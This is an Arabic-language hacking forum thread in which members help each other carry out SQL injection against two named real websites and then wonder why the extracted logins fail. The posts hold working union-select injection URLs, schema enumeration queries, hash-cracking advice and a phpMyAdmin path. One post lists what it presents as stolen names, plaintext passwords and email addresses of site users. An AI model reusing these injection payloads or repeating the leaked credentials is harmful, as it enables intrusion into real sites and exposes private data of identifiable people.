:: vBspiders Professional Network :: - [مساعده] حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)

حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

إخواني هاد الرابط...

اشتغلت كلشي صح..
بس لما اجي اطلع الباس واليوزر
مايطلع معي شي....
سااااااعدوني...

http://www.hubbardbrook.org/people/view.php?id=109

وهي رابط الاستغلال لعرض اليوزر والباس

http://www.hubbardbrook.org/people/view.php?id=-109+union+select+group_concat(user,0x3a,password), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23,24,25+from+user

ممكن مساعدتكم...طق رااااااسي هههههههههه

:1::1:

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

هاد موقع تاني...
حقنت تماااااااااااام
وطلع معي اليوزرات والباسات تبعهم...وبدون تشفير كمان...
وطلع معي ادمن واحد ويوزره والباس تبعه...وكمان بدون تشفير...

بس لما عملت log in
باليوزرات والباسات ما فوتني
وحتى بالادمن يوزر نيم والباس تبعه
كمان اعطاني خطأ باليوزر نيم او الباس..
شو السبب!!!!!!؟؟؟

أرجووووووووووووكم ساعدوني...
هي الرابط
http://mcxchakraa.com/buy.php?Id=-2

كود:

http://mcxchakraa.com/buy.php?Id=-2%20union%20select%201,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,3,4,5,6,7,8+from+information_schema.columns+where+column_name+like+CHAR%2837,%20112,%2097,%20115,%2037%29--

أرجوووووووووووووكـــــــــــــــــــــــــــــــم

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

يا جـــماعه ســـاعدوني!!!!

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

مافيش جدول اسمه user بالقاعده

كود:

http://www.hubbardbrook.org/people/view.php?id=-109+union+select+group_concat%28table_name%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from%20information_schema.tables%20where%20table_schema=0x686272

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

حقن هذا جميع القواعد طبعا القاعدة هذا لاتعتمد عليه information_schema

*] hbr[*] information_schema[*] mysql[*] phpmyadmin

ركز على mysq فك الهاش ان شاء الله تضبط معك
وقد تحتاج هذا

اhttp://www.hubbardbrook.org/mysql/index.php
اختراق موفق

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

اقتباس:

المشاركة الأصلية كتبت بواسطة خالد سعودي (المشاركة 458208)

ياخالد انا شايف كل الي بالقاعده والي يهم الجدول مو الروت لانو فكو صعب جدا

الموقع ثاني ركز على القاعدة هذي mcxchakr_mcx7
موفق

صح كلامك انا حاولت افكه ولكن مافك معي تري فكه صعب شوي
فتح ايميلك ابيك ضروري عبد الصمد

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

مشكورين اخواني ...
بس أخوي خالد..ممكن شوية توضيح بخصوص الموقع الثاني؟؟

"الموقع ثاني ركز على القاعدة هذي mcxchakr_mcx7"

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

هذا نموذج حرب كل الجداول تري فيه حولي 58 عليه فلاتر حول انك تخطى الفلتر
تابع ياغالي
في قاعدة اسمه mcxchakr_mcx7
اسم الجدوال mcx_user
اسم الاعمدة name,email,pass
طلع عندي 651
ولاتعتمد على اسم admin ممكن الدخول بغير الاسم
اختراق موفق
ملاحظة تري في عمدة مهم

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

اقتباس:

المشاركة الأصلية كتبت بواسطة خالد سعودي (المشاركة 458283)

تمام...سبق واستخرجت اسماء المستخدمين والباس
من الجدول
mcx_user

كود:

mahesh dani:111111:dani@yahoo.in

hema:1:hema@test.com

hma:1:hma@test.com

ter:123456:jallsmedia@gmail

com

Ashish Sanghvi:123456:asashishsanghvi@gmail.com

ramesh:seeli123:ramesh.bns@gmail.com

Mohd Imran khan:9305502320:imranaaico@gmail.com

bhuvana:sireesh:bhuvanaellinki@yahoo.com,narendra gupta:narendra:gnarendra09@gmail.com

shrikanth:akshata:shrikanth_unakalkar@yahoo.com,bharathbhushan:123456:bbhushank@gmail.com,rajesh:12345678:rajeshgupta2175@yahoo.com,manoj:12345678:rajeshgupta212002@yahoo.com,Dushyant :albpg5903c:nakshatra.ad@gmail.com,T.jayaprakash:commodity:ramucbe08@gmail.com,ashraf:afreen:ashu_4youcollme@yahoo.co.in,K.MUTHUKUMAR:varthini:fortune_kumar@yahoo.com,ABDUL HASEEB:78612399:haseeba25@yahoo.in,sharad:111175:msharad97@yahoo.in,mansi sethi:mansi1:mansisethi10@gmail.com,ANURAG:12341234:AZAZA1033@YAHOO.COM,SHYAM PATIDAR:SHYAMRANU:PATIDAR.SHYAM00@GMAIL.COM,manjunath totar:manju143:manjutotar143@gmail.com,ramesh:nikeeta:rcbugalia_2002@yahoo.com,manoj:08311993:ashugarg4u8@gmail.com,naresh:nkdc1956:ngro

ولكن ولا واحد فيهم صحيح...
كل ما اعمل لوغ ان يكون غلط!!!!!:1::1:

رد: حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

حتى باستخدام الهافيج
تم استخراج نفس الجداول والنتائج...
وجميعها كانت خاطئة عندما جربتها للدخول...
فما هو السبب.....؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟